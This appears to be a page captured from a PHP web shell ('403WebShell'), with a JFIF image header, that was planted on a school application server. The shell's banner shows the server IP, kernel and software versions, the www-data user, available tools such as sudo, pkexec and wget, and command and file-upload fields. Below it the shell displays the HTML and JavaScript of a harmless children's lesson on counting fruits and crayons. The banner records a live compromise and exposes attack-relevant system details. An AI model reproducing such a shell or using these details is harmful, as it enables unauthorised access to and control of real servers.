????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.139.237.30
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/apps/school/www_old10/Html/LevelC/Category2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/apps/school/www_old10/Html/LevelC/Category2/LevelCCat2Lesson04.html
<!DOCTYPE html>
<html>
<head>
    <title>Count fruits and crayons</title>

    <script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>

    <script>
        function page_preLoad()
        {
            s_setDeviceTypeLevelCategoryLastLesson(Level.C, Category.No2);

            s_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');

            s_setHeaderTable('id_tblHeader', s_title_page, s_getSubTitle(Level.C, Category.No2, 4), true, true);
            s_setFooterTable('id_tblFooter', true, true, false, true, true);

            var ids_headings = ['id_td_heading1', 'id_td_heading2', 'id_td_heading3', 'id_td_heading4'];
            var ids_boxes = ['id_dropBox_Set1_no9_1', 'id_dropBox_Set1_no3', 'id_dropBox_Set1_no6_1', 'id_dropBox_Set1_no6_2', 'id_dropBox_Set1_no8', 'id_dropBox_Set1_no9_2', 'id_dropBox_Set2_no2_1', 'id_dropBox_Set2_no2_2', 'id_dropBox_Set2_no4_1', 'id_dropBox_Set2_no4_2', 'id_dropBox_Set2_no3_1', 'id_dropBox_Set2_no3_2', 'id_dropBox_Set2_no3_3', 'id_dropBox_Set2_no3_4'];
            var ids_options = ['id_td_set1_no3_1', 'id_td_set1_no6_1', 'id_td_set1_no8', 'id_td_set1_no9_2', 'id_td_set1_no6_2', 'id_td_set1_no3', 'id_td_set2_no4_1', 'id_td_set2_no2_1', 'id_td_set2_no3_1', 'id_td_set2_no4_2', 'id_td_set2_no2_2', 'id_td_set2_no3_2', 'id_td_set2_no3_3', 'id_td_set2_no3_4'];
            var ids_texts = ['id_td_text1', 'id_td_text2', 'id_td_text3', 'id_td_text4', 'id_td_text5', 'id_td_text6', 'id_td_text7', 'id_td_text8', 'id_td_text9', 'id_td_text10', 'id_td_text11', 'id_td_text12', 'id_td_text13', 'id_td_text14'];
            var ids_spans = ['id_span_set1_no9_1', 'id_span_set1_no6_1', 'id_span_set1_no8', 'id_span_set1_no9_2', 'id_span_set1_no6_2', 'id_span_set1_no3', 'id_span_set2_no4_1', 'id_span_set2_no2_1', 'id_span_set2_no3_1', 'id_span_set2_no4_2', 'id_span_set2_no2_2', 'id_span_set2_no3_2', 'id_span_set2_no3_3', 'id_span_set2_no3_4'];
            var ids_All = ids_headings.concat(ids_boxes, ids_texts);

            s_adjust_fontSize_for_ids_all_devices(ids_All, 70);

            s_adjust_fontSize_for_ids_all_devices(ids_options, 90);

            s_init_dropBox_tds_withOUT_drag_here(ids_boxes);
            s_init_dropping_spans(ids_spans);

            s_hideAllExceptFirstElement('id_span_set1_no9_', 2);
            s_hideAllExceptFirstElement('id_span_set1_no6_', 2);
            s_hideAllExceptFirstElement('id_span_set2_no2_', 2);
            s_hideAllExceptFirstElement('id_span_set2_no3_', 4);
            s_hideAllExceptFirstElement('id_span_set2_no4_', 2);

            s_set_all_draggble_to_false_except_first_element('id_td_set1_no9_', 2);
            s_set_all_draggble_to_false_except_first_element('id_td_set1_no6_', 2);
            s_set_all_draggble_to_false_except_first_element('id_td_set2_no2_', 2);
            s_set_all_draggble_to_false_except_first_element('id_td_set2_no3_', 4);
            s_set_all_draggble_to_false_except_first_element('id_td_set2_no4_', 2);
            
            var id_tables_array = ['id_table1'];
            s_border_collapse_for_tables_except_android(id_tables_array);
        }

        function page_onLoad()
        {
        }

        function btnPrevious_click()
        {
            window.location = 'LevelCCat2Lesson03.html';
        }

        function btnNext_click()
        {
            window.location = 'LevelCCat2Lesson05.html';
        }

        function btnHome_click()
        {
            s_btnHomeCategories_click('LevelC');
        }

        function DragDrop(id_dropBox, setNo, textNo, ids_array)
        {
            if (s_isMovingElementIdInTheArraySetIsFilledTrue(id_dropBox, ids_array))
            {
                s_setTextAndBackgroundColorToGreenAndIsMovedTrue(s_currentDropingId, id_dropBox);

                if (setNo == 1)
                {
                    if (textNo == 9)
                    {
                        showNextSet1_no9();
                    }
                    else if (textNo == 6)
                    {
                        showNextSet1_no6();
                    }
                }
                else if (setNo == 2)
                {
                    if (textNo == 2)
                    {
                        showNextSet2_no2();
                    }
                    else if (textNo == 3)
                    {
                        showNextSet2_no3();
                    }
                    else if (textNo == 4)
                    {
                        showNextSet2_no4();
                    }
                }

                isAllInfosMovedShowClapsAnimation();

                s_set_currentDropingId_draggbleToFalse();
            }
            else
            {
                s_resetCurrentDroppingPosition(id_dropBox);
            }
        }

        function showNextSet2_no2()
        {
            s_unHideNextElementNew2('id_span_set2_no2_', 'id_td_set2_no2_', 2);
        }

        function showNextSet1_no9()
        {
            s_unHideNextElementNew2('id_span_set1_no9_', 'id_td_set1_no9_', 2);
        }

        function showNextSet2_no3()
        {
            s_unHideNextElementNew2('id_span_set2_no3_', 'id_td_set2_no3_', 4);
        }

        function showNextSet2_no4()
        {
            s_unHideNextElementNew2('id_span_set2_no4_', 'id_td_set2_no4_', 2);
        }

        function showNextSet1_no6()
        {
            s_unHideNextElementNew2('id_span_set1_no6_', 'id_td_set1_no6_', 2);
        }

        function isAllInfosMovedShowClapsAnimation()
        {
            var ids_boxes = ['id_dropBox_Set1_no9_1', 'id_dropBox_Set1_no3', 'id_dropBox_Set1_no6_1', 'id_dropBox_Set1_no6_2', 'id_dropBox_Set1_no8', 'id_dropBox_Set1_no9_2', 'id_dropBox_Set2_no2_1', 'id_dropBox_Set2_no2_2', 'id_dropBox_Set2_no4_1', 'id_dropBox_Set2_no4_2', 'id_dropBox_Set2_no3_1', 'id_dropBox_Set2_no3_2', 'id_dropBox_Set2_no3_3', 'id_dropBox_Set2_no3_4'];

            s_is_all_infos_filled_show_claps_animationWithIsFilled(ids_boxes);
        }
    </script>

</head>

<body onload="page_onLoad()">
    <div id="s_id_div_message"></div>

<table id="id_tblMainiPadBody" border="1" cellspacing="0" cellpadding="0">
<tr height="8%">
    <td>
        <div id="id_tblHeader"></div>
    </td>
</tr>
<tr height="*" data-role="page"> <!-- for swiping left and right especially for Android device -->
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="2%">
<tr height="50%">
    <td style="padding-bottom: 0px">
        <table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse">
            <tr height="10%">
                <td id="id_td_heading1" class="s_style_heading">
                    1. Count and drag the number of each fruit:
                </td>
            </tr>
            <tr height="*">
                <td align="center" style="border-top: 0px">
                    <img id="id_imgFruits" onclick="s_showImageBigger('80%')" src="../../../img/LevelC/Category2/LevelCCat2Lesson04/fruits.png" width="50%" draggable="false">
                </td>
            </tr>
            <tr height="15%">
                <td style="border-top: 0px">
                    <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                        <tr>
                            <td width="*" id="id_td_heading2" class="s_style_heading_options">Options:</td>
                            <td  id="id_td_set1_no3_1" class="s_style_draggable_text" width="14%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                <span id="id_span_set1_no9_1" class="clas_drag_set1_no9_1">9</span>
                            </td>
                            <td id="id_td_set1_no6_1" class="s_style_draggable_text" width="14%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                <span id="id_span_set1_no6_1" class="cls_drag_set1_no6_1">6</span>
                            </td>
                            <td id="id_td_set1_no8" class="s_style_draggable_text" width="14%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                <span id="id_span_set1_no8" class="cls_drag_set1_no8">8</span>
                            </td>
                            <td id="id_td_set1_no3" class="s_style_draggable_text" width="14%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                <span id="id_span_set1_no3" class="cls_drag_set1_no3">3</span>
                            </td>
                            <td id="id_td_set1_no9_2" class="s_style_draggable_text" width="14%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                <span id="id_span_set1_no9_2" class="cls_drag_set1_no9_2">9</span>
                            </td>
                            <td id="id_td_set1_no6_2" class="s_style_draggable_text" width="14%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                <span id="id_span_set1_no6_2" class="cls_drag_set1_no6_2">6</span>
                            </td>
                        </tr>
                    </table>
                </td>
            </tr>
            <tr height="30%">
                <td>
                    <table width="100%" height="100%" border="0" cellspacing="1%" cellpadding="0">
                        <tr>
                            <td>
                                <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                    <tr>
                                        <td id="id_td_dropBox_Set1_no8"  width="33%"
                                            ondragover="s_highlight('id_dropBox_Set1_no8'); s_allowDrop_web(event)"
                                            ondragleave="s_un_highlight('id_dropBox_Set1_no8')"
                                            ondrop="DragDrop('id_dropBox_Set1_no8', 1, 8, ['id_span_set1_no8'])">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td width="15%" align="right">
                                                        <span id="id_td_text1" class="s_style_textRed">Apples:</span>
                                                    </td>
                                                    <td id="id_dropBox_Set1_no8" width="12%" class="s_style_droppable_dash" align="center">
                                                        __
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                        <td width="*">&nbsp;</td>
                                        <td id="id_td_dropBox_Set1_no9_1"  width="33%"
                                            ondragover="s_highlight('id_dropBox_Set1_no9_1'); s_allowDrop_web(event)"
                                            ondragleave="s_un_highlight('id_dropBox_Set1_no9_1')"
                                            ondrop="DragDrop('id_dropBox_Set1_no9_1', 1, 9, ['id_span_set1_no9_1', 'id_span_set1_no9_2'])">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td width="27%" align="right">
                                                        <span id="id_td_text2" class="s_style_textRed">Grape bunches:</span>
                                                    </td>
                                                    <td id="id_dropBox_Set1_no9_1" width="10%" class="s_style_droppable_dash" align="center">
                                                        __
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                        <td width="2%">&nbsp;</td>
                                        <td id="id_td_dropBox_Set1_no3"  width="33%"
                                            ondragover="s_highlight('id_dropBox_Set1_no3'); s_allowDrop_web(event)"
                                            ondragleave="s_un_highlight('id_dropBox_Set1_no3')"
                                            ondrop="DragDrop('id_dropBox_Set1_no3', 1, 3, ['id_span_set1_no3'])">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td width="5%">
                                                        <span id="id_td_text3" class="s_style_textRed">Watermelons:</span>
                                                    </td>
                                                    <td id="id_dropBox_Set1_no3" width="10%" class="s_style_droppable_dash" align="center">
                                                        __
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                </table>
                            </td>
                        </tr>
                        <tr>
                            <td>
                                <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                    <tr>
                                        <td id="id_td_dropBox_Set1_no6_1"  width="33%"
                                            ondragover="s_highlight('id_dropBox_Set1_no6_1'); s_allowDrop_web(event)"
                                            ondragleave="s_un_highlight('id_dropBox_Set1_no6_1')"
                                            ondrop="DragDrop('id_dropBox_Set1_no6_1', 1, 6, ['id_span_set1_no6_1', 'id_span_set1_no6_2'])">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td width="9%" align="right">
                                                        <span id="id_td_text4" class="s_style_textRed">Oranges:</span>
                                                    </td>
                                                    <td id="id_dropBox_Set1_no6_1" width="10%" class="s_style_droppable_dash" align="center">
                                                        __
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                        <td width="*">&nbsp;</td>
                                        <td id="id_td_dropBox_Set1_no9_2"  width="33%"
                                            ondragover="s_highlight('id_dropBox_Set1_no9_2'); s_allowDrop_web(event)"
                                            ondragleave="s_un_highlight('id_dropBox_Set1_no9_2')"
                                            ondrop="DragDrop('id_dropBox_Set1_no9_2', 1, 9, ['id_span_set1_no9_1', 'id_span_set1_no9_2'])">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td width="31%" align="right">
                                                        <span id="id_td_text5" class="s_style_textRed">Papaya:</span>
                                                    </td>
                                                    <td id="id_dropBox_Set1_no9_2" width="10%" class="s_style_droppable_dash" align="center">
                                                        __
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                        <td width="2%">&nbsp;</td>
                                        <td id="id_td_dropBox_Set1_no6_2"  width="33%"
                                            ondragover="s_highlight('id_dropBox_Set1_no6_2'); s_allowDrop_web(event)"
                                            ondragleave="s_un_highlight('id_dropBox_Set1_no6_2')"
                                            ondrop="DragDrop('id_dropBox_Set1_no6_2', 1, 6, ['id_span_set1_no6_1', 'id_span_set1_no6_2'])">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td width="17%" >
                                                        <span id="id_td_text6" class="s_style_textRed">Bananas:</span>
                                                    </td>
                                                    <td id="id_dropBox_Set1_no6_2" width="10%" class="s_style_droppable_dash" align="center">
                                                        __
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                </table>
                            </td>
                        </tr>
                    </table>
                </td>
            </tr>
        </table>
    </td>
</tr>
<tr height="*">
    <td>
        <table id="id_table1" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
            <tr height="10%">
                <td id="id_td_heading3" class="s_style_heading">
                    2. Count and drag the number of each crayons color:
                </td>
            </tr>
            <tr height="*">
                <td align="center" style="border-top: 0px; border-bottom: 0px">
                    <img id="id_imgColorPencils" onclick="s_showImageBigger('80%')" src="../../../img/LevelC/Category2/LevelCCat2Lesson04/colorPencils.png" width="50%" draggable="false">
                </td>
            </tr>
            <tr height="15%">
                <td>
                    <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                        <tr>
                            <td width="*" id="id_td_heading4" class="s_style_heading_options">Options:</td>
                            <td id="id_td_set2_no4_1" class="s_style_draggable_text" width="10%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                <span id="id_span_set2_no4_1" class="cls_drag_set2_no4_1">4</span>
                            </td>
                            <td id="id_td_set2_no2_1" class="s_style_draggable_text" width="10%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                <span id="id_span_set2_no2_1" class="cls_drag_set2_no2_1">2</span>
                            </td>
                            <td id="id_td_set2_no3_1" class="s_style_draggable_text" width="10%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                <span id="id_span_set2_no3_1" class="cls_drag_set2_no3_1">3</span>
                            </td>
                            <td id="id_td_set2_no4_2" class="s_style_draggable_text" width="10%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                <span id="id_span_set2_no4_2" class="cls_drag_set2_no4_2">4</span>
                            </td>
                            <td id="id_td_set2_no2_2" class="s_style_draggable_text" width="10%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                <span id="id_span_set2_no2_2" class="cls_drag_set2_no2_2">2</span>
                            </td>
                            <td id="id_td_set2_no3_2" class="s_style_draggable_text" width="10%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                <span id="id_span_set2_no3_2" class="cls_drag_set2_no3_2">3</span>
                            </td>
                            <td id="id_td_set2_no3_3" class="s_style_draggable_text" width="10%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                <span id="id_span_set2_no3_3" class="cls_drag_set2_no3_3">3</span>
                            </td>
                            <td id="id_td_set2_no3_4" class="s_style_draggable_text" width="10%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                <span id="id_span_set2_no3_4" class="cls_drag_set2_no3_4">3</span>
                            </td>
                        </tr>
                    </table>
                </td>
            </tr>
            <tr height="25%">
                <td>
                    <table width="100%" height="100%" border="0" cellspacing="1%" cellpadding="0">
                        <tr>
                            <td>
                                <table width="100%" height="100%" border="0" cellspacing="1%" cellpadding="0">
                                    <tr>
                                        <td id="id_td_dropBox_Set2_no4_1" width="25%"
                                            ondragover="s_highlight('id_dropBox_Set2_no4_1'); s_allowDrop_web(event)"
                                            ondragleave="s_un_highlight('id_dropBox_Set2_no4_1')"
                                            ondrop="DragDrop('id_dropBox_Set2_no4_1', 2, 4, ['id_span_set2_no4_1', 'id_span_set2_no4_2'])">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td width="65%" align="right">
                                                        <span id="id_td_text7" class="s_style_textRed">Red:</span>
                                                    </td>
                                                    <td id="id_dropBox_Set2_no4_1" class="s_style_droppable_dash" width="*" align="center">
                                                        __
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                        <td id="id_td_dropBox_Set2_no2_1" width="25%"
                                            ondragover="s_highlight('id_dropBox_Set2_no2_1'); s_allowDrop_web(event)"
                                            ondragleave="s_un_highlight('id_dropBox_Set2_no2_1')"
                                            ondrop="DragDrop('id_dropBox_Set2_no2_1', 2, 2, ['id_span_set2_no2_1', 'id_span_set2_no2_2'])">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td width="65%" align="right">
                                                        <span id="id_td_text8" class="s_style_textRed">Black:</span>
                                                    </td>
                                                    <td id="id_dropBox_Set2_no2_1" class="s_style_droppable_dash" width="*" align="center">
                                                        __
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                        <td id="id_td_dropBox_Set2_no3_1" width="25%"
                                            ondragover="s_highlight('id_dropBox_Set2_no3_1'); s_allowDrop_web(event)"
                                            ondragleave="s_un_highlight('id_dropBox_Set2_no3_1')"
                                            ondrop="DragDrop('id_dropBox_Set2_no3_1', 2, 3, ['id_span_set2_no3_1', 'id_span_set2_no3_2', 'id_span_set2_no3_3', 'id_span_set2_no3_4'])">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td width="65%" align="right">
                                                        <span id="id_td_text9" class="s_style_textRed">Yellow:</span>
                                                    </td>
                                                    <td id="id_dropBox_Set2_no3_1" class="s_style_droppable_dash" width="*" align="center">
                                                        __
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                        <td id="id_td_dropBox_Set2_no3_2" width="*"
                                            ondragover="s_highlight('id_dropBox_Set2_no3_2'); s_allowDrop_web(event)"
                                            ondragleave="s_un_highlight('id_dropBox_Set2_no3_2')"
                                            ondrop="DragDrop('id_dropBox_Set2_no3_2', 2, 3, ['id_span_set2_no3_1', 'id_span_set2_no3_2', 'id_span_set2_no3_3', 'id_span_set2_no3_4'])">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td width="65%" align="right">
                                                        <span id="id_td_text10" class="s_style_textRed">Blue:</span>
                                                    </td>
                                                    <td id="id_dropBox_Set2_no3_2" class="s_style_droppable_dash" width="*" align="center">
                                                        __
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                        <td width="*">&nbsp;</td>
                                    </tr>
                                </table>
                            </td>
                        </tr>
                        <tr>
                            <td>
                                <table width="100%" height="100%" border="0" cellspacing="1%" cellpadding="0">
                                    <tr>
                                        <td id="id_td_dropBox_Set2_no3_3" width="25%"
                                            ondragover="s_highlight('id_dropBox_Set2_no3_3'); s_allowDrop_web(event)"
                                            ondragleave="s_un_highlight('id_dropBox_Set2_no3_3')"
                                            ondrop="DragDrop('id_dropBox_Set2_no3_3', 2, 3, ['id_span_set2_no3_1', 'id_span_set2_no3_2', 'id_span_set2_no3_3', 'id_span_set2_no3_4'])">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td width="65%" align="right">
                                                        <span id="id_td_text11" class="s_style_textRed"><span>Green</span>:</span>
                                                    </td>
                                                    <td id="id_dropBox_Set2_no3_3" class="s_style_droppable_dash" width="*" align="center">
                                                        __
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                        <td id="id_td_dropBox_Set2_no3_4" width="25%"
                                            ondragover="s_highlight('id_dropBox_Set2_no3_4'); s_allowDrop_web(event)"
                                            ondragleave="s_un_highlight('id_dropBox_Set2_no3_4')"
                                            ondrop="DragDrop('id_dropBox_Set2_no3_4', 2, 3, ['id_span_set2_no3_1', 'id_span_set2_no3_2', 'id_span_set2_no3_3', 'id_span_set2_no3_4'])">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td width="65%" align="right">
                                                        <span id="id_td_text12" class="s_style_textRed"><span>White</span>:</span>
                                                    </td>
                                                    <td id="id_dropBox_Set2_no3_4" class="s_style_droppable_dash" width="*" align="center">
                                                        __
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                        <td id="id_td_dropBox_Set2_no2_2" width="25%"
                                            ondragover="s_highlight('id_dropBox_Set2_no2_2'); s_allowDrop_web(event)"
                                            ondragleave="s_un_highlight('id_dropBox_Set2_no2_2')"
                                            ondrop="DragDrop('id_dropBox_Set2_no2_2', 2, 2, ['id_span_set2_no2_1', 'id_span_set2_no2_2'])">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td width="65%" align="right">
                                                        <span id="id_td_text13" class="s_style_textRed"><span>Orange</span>:</span>
                                                    </td>
                                                    <td id="id_dropBox_Set2_no2_2" class="s_style_droppable_dash" width="*" align="center">
                                                        __
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                        <td id="id_td_dropBox_Set2_no4_2" width="*"
                                            ondragover="s_highlight('id_dropBox_Set2_no4_2'); s_allowDrop_web(event)"
                                            ondragleave="s_un_highlight('id_dropBox_Set2_no4_2')"
                                            ondrop="DragDrop('id_dropBox_Set2_no4_2', 2, 4, ['id_span_set2_no4_1', 'id_span_set2_no4_2'])">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td width="65%" align="right">
                                                        <span id="id_td_text14" class="s_style_textRed"><span>Purple</span>:</span>
                                                    </td>
                                                    <td id="id_dropBox_Set2_no4_2" class="s_style_droppable_dash" width="*" align="center">
                                                        __
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                        <td width="*">&nbsp;</td>
                                    </tr>
                                </table>
                            </td>
                        </tr>
                    </table>
                </td>
            </tr>
        </table>
    </td>
</tr>
</table>
</td>
</tr>
<tr height="8%">
    <td>
        <div id="id_tblFooter"></div>
    </td>
</tr>
</table>

<script>
    page_preLoad();

    new webkit_draggable('id_span_set1_no9_1', {handle : 'id_td_set1_no3_1', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
    new webkit_draggable('id_span_set1_no6_1', {handle : 'id_td_set1_no6_1', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
    new webkit_draggable('id_span_set1_no8', {handle : 'id_td_set1_no8', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
    new webkit_draggable('id_span_set1_no9_2', {handle : 'id_td_set1_no9_2', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
    new webkit_draggable('id_span_set1_no6_2', {handle : 'id_td_set1_no6_2', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
    new webkit_draggable('id_span_set1_no3', {handle : 'id_td_set1_no3', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});

    new webkit_draggable('id_span_set2_no4_1', {handle : 'id_td_set2_no4_1', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
    new webkit_draggable('id_span_set2_no2_1', {handle : 'id_td_set2_no2_1', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
    new webkit_draggable('id_span_set2_no3_1', {handle : 'id_td_set2_no3_1', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
    new webkit_draggable('id_span_set2_no4_2', {handle : 'id_td_set2_no4_2', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
    new webkit_draggable('id_span_set2_no2_2', {handle : 'id_td_set2_no2_2', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
    new webkit_draggable('id_span_set2_no3_2', {handle : 'id_td_set2_no3_2', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
    new webkit_draggable('id_span_set2_no3_3', {handle : 'id_td_set2_no3_3', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
    new webkit_draggable('id_span_set2_no3_4', {handle : 'id_td_set2_no3_4', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});

    webkit_drop.add('id_td_dropBox_Set1_no9_1', {onOver : function(){s_highlight('id_dropBox_Set1_no9_1')}, onOut : function(){s_un_highlight('id_dropBox_Set1_no9_1')}, onDrop : function(){DragDrop('id_dropBox_Set1_no9_1', 1, 9, ['id_span_set1_no9_1', 'id_span_set1_no9_2'])}});
    webkit_drop.add('id_td_dropBox_Set1_no3', {onOver : function(){s_highlight('id_dropBox_Set1_no3')}, onOut : function(){s_un_highlight('id_dropBox_Set1_no3')}, onDrop : function(){DragDrop('id_dropBox_Set1_no3', 1, 3, ['id_span_set1_no9_1', 'id_span_set1_no3'])}});
    webkit_drop.add('id_td_dropBox_Set1_no6_1', {onOver : function(){s_highlight('id_dropBox_Set1_no6_1')}, onOut : function(){s_un_highlight('id_dropBox_Set1_no6_1')}, onDrop : function(){DragDrop('id_dropBox_Set1_no6_1', 1, 6, ['id_span_set1_no6_1', 'id_span_set1_no6_2'])}});
    webkit_drop.add('id_td_dropBox_Set1_no6_2', {onOver : function(){s_highlight('id_dropBox_Set1_no6_2')}, onOut : function(){s_un_highlight('id_dropBox_Set1_no6_2')}, onDrop : function(){DragDrop('id_dropBox_Set1_no6_2', 1, 6, ['id_span_set1_no6_1', 'id_span_set1_no6_2'])}});
    webkit_drop.add('id_td_dropBox_Set1_no8', {onOver : function(){s_highlight('id_dropBox_Set1_no8')}, onOut : function(){s_un_highlight('id_dropBox_Set1_no8')}, onDrop : function(){DragDrop('id_dropBox_Set1_no8', 1, 8, ['id_span_set1_no8'])}});
    webkit_drop.add('id_td_dropBox_Set1_no9_2', {onOver : function(){s_highlight('id_dropBox_Set1_no9_2')}, onOut : function(){s_un_highlight('id_dropBox_Set1_no9_2')}, onDrop : function(){DragDrop('id_dropBox_Set1_no9_2', 1, 9, ['id_span_set1_no9_1', 'id_span_set1_no9_2'])}});

    webkit_drop.add('id_td_dropBox_Set2_no2_1', {onOver : function(){s_highlight('id_dropBox_Set2_no2_1')}, onOut : function(){s_un_highlight('id_dropBox_Set2_no2_1')}, onDrop : function(){DragDrop('id_dropBox_Set2_no2_1', 2, 2, ['id_span_set2_no2_1', 'id_span_set2_no2_2'])}});
    webkit_drop.add('id_td_dropBox_Set2_no2_2', {onOver : function(){s_highlight('id_dropBox_Set2_no2_2')}, onOut : function(){s_un_highlight('id_dropBox_Set2_no2_2')}, onDrop : function(){DragDrop('id_dropBox_Set2_no2_2', 2, 2, ['id_span_set2_no2_1', 'id_span_set2_no2_2'])}});
    webkit_drop.add('id_td_dropBox_Set2_no4_1', {onOver : function(){s_highlight('id_dropBox_Set2_no4_1')}, onOut : function(){s_un_highlight('id_dropBox_Set2_no4_1')}, onDrop : function(){DragDrop('id_dropBox_Set2_no4_1', 2, 4, ['id_span_set2_no4_1', 'id_span_set2_no4_2'])}});
    webkit_drop.add('id_td_dropBox_Set2_no4_2', {onOver : function(){s_highlight('id_dropBox_Set2_no4_2')}, onOut : function(){s_un_highlight('id_dropBox_Set2_no4_2')}, onDrop : function(){DragDrop('id_dropBox_Set2_no4_2', 2, 4, ['id_span_set2_no4_1', 'id_span_set2_no4_2'])}});
    webkit_drop.add('id_td_dropBox_Set2_no3_1', {onOver : function(){s_highlight('id_dropBox_Set2_no3_1')}, onOut : function(){s_un_highlight('id_dropBox_Set2_no3_1')}, onDrop : function(){DragDrop('id_dropBox_Set2_no3_1', 2, 3, ['id_span_set2_no3_1', 'id_span_set2_no3_2', 'id_span_set2_no3_3', 'id_span_set2_no3_4'])}});
    webkit_drop.add('id_td_dropBox_Set2_no3_2', {onOver : function(){s_highlight('id_dropBox_Set2_no3_2')}, onOut : function(){s_un_highlight('id_dropBox_Set2_no3_2')}, onDrop : function(){DragDrop('id_dropBox_Set2_no3_2', 2, 3, ['id_span_set2_no3_1', 'id_span_set2_no3_2', 'id_span_set2_no3_3', 'id_span_set2_no3_4'])}});
    webkit_drop.add('id_td_dropBox_Set2_no3_3', {onOver : function(){s_highlight('id_dropBox_Set2_no3_3')}, onOut : function(){s_un_highlight('id_dropBox_Set2_no3_3')}, onDrop : function(){DragDrop('id_dropBox_Set2_no3_3', 2, 3, ['id_span_set2_no3_1', 'id_span_set2_no3_2', 'id_span_set2_no3_3', 'id_span_set2_no3_4'])}});
